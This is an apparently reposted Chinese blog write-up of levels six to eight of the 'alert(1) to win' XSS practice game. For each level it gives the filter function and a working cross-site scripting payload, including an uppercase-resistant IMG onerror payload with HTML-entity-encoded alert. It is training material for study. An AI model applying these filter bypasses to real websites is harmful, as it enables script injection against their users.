码迷,mamicode.com
首页 > Windows程序 > 详细

【20171026早】alert(1) to win - 第六、七、八题

时间:2017-10-26 15:28:13      阅读:320      评论:0      收藏:0      [点我收藏+]

标签:wds   gbk   mfa   lnp   pcl   add   icc   mis   pmc   

  早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看。点击这里

  忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁又能一开始就将所有的知识一下子就掌握的很熟练呢?

  第六题。

  题目:

 

 1 function escape(s) {
 2   // Slightly too lazy to make two input fields.
 3   // Pass in something like "TextNode#foo"
 4   var m = s.split(/#/);
 5 
 6   // Only slightly contrived at this point.
 7   var a = document.createElement(‘div‘);
 8   a.appendChild(document[‘create‘+m[0]].apply(document, m.slice(1)));
 9   return a.innerHTML;
10 }

  分析:

  这个escape的作用就是:将s按照#分割,然后创建div,将s分割成的数组的第二个开始挂接在div上。那么第8行的document[‘create‘+m[0]].apply(...)中的‘create‘+m[0]是document的一个函数,我查看了document的 官方文档

得知应该是createComment函数,所以可以开始TRY了。

  TRY:

  第一次:Comment#,结果显示<!---->,故后续应该闭合<括号。

  第二次:Comment#><script>alert(1)</script>,OK!

  效果:

  技术分享

 

  第七题:

  题目:

 

1 function escape(s) {
2   // Pass inn "callback#userdata"
3   var thing = s.split(/#/); 
4 
5   if (!/^[a-zA-Z\[\]‘]*$/.test(thing[0])) return ‘Invalid callback‘;
6   var obj = {‘userdata‘: thing[1] };
7   var json = JSON.stringify(obj).replace(/</g, ‘\\u003c‘);
8   return "<script>" + thing[0] + "(" + json +")</script>";
9 }

  分析:

  这题比较经典,函数的作用仍然是将s按照#分割成数组sarr,sarr[0]按照正则表达式要求只能是由a-zA-Z[]‘这些字符构成,而sarr[1]会将<替换成unicode编码的字符,所以不能输入</script>试图闭合第八行的<script>。

  TRY:

  第一次:sarr[0]和sarr[1]两者需要配合才能成功,突破的瓶颈是双引号会被转义,所以试图用双引号也失败了。

  第二次:sarr[0]为 ‘ ,sarr[1]为 ‘;alert(1)//,最终为‘#‘;alert(1)//,单引号的配合将双引号的作用消匿于无形,这是我看别人的答案才知道了,哈哈!

  效果:

  技术分享

  第八题:

  题目:

 

1 function escape(s) {
2   return ‘<script>console.log("‘ + s.toUpperCase() + ‘")</script>‘;
3 }

  分析:

  函数作用就是将输入全部大写,我只要输入大写不影响alert()的payload就OK!

  TRY:

  第一次:");</script><IMG ONERROR="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)" SRC="A.GIF"><script>("

  很容易闭合console.log()函数,而且</script>即使大写化并不影响运行,现在加入IMG标签,创建alert(1),但是alert大写后就无效了,所以使用html编码,即:&#x61;&#x6c;&#x65;&#x72;&#x74;为alert,因为它是字符串,在html中和alert是一样的含义,OK!

  渲染:

 

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

</head>
<body>

<script type="text/javascript">
function escape(s) {
return ‘<script>console.log("‘ + s.toUpperCase() + ‘")<\/script>‘;
}
var inputStr = ‘");</script><IMG ONERROR="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)" SRC="A.GIF"><script>("‘;
var ok = escape(inputStr);
document.write(ok);
</script>

</body>
</html>

  效果:

  技术分享

 

  备注:

  坚持学习的第2天,倒计时:231天

  睡觉去了!

【20171026早】alert(1) to win - 第六、七、八题

标签:wds   gbk   mfa   lnp   pcl   add   icc   mis   pmc   

原文地址:http://www.cnblogs.com/heijuelou/p/7736377.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!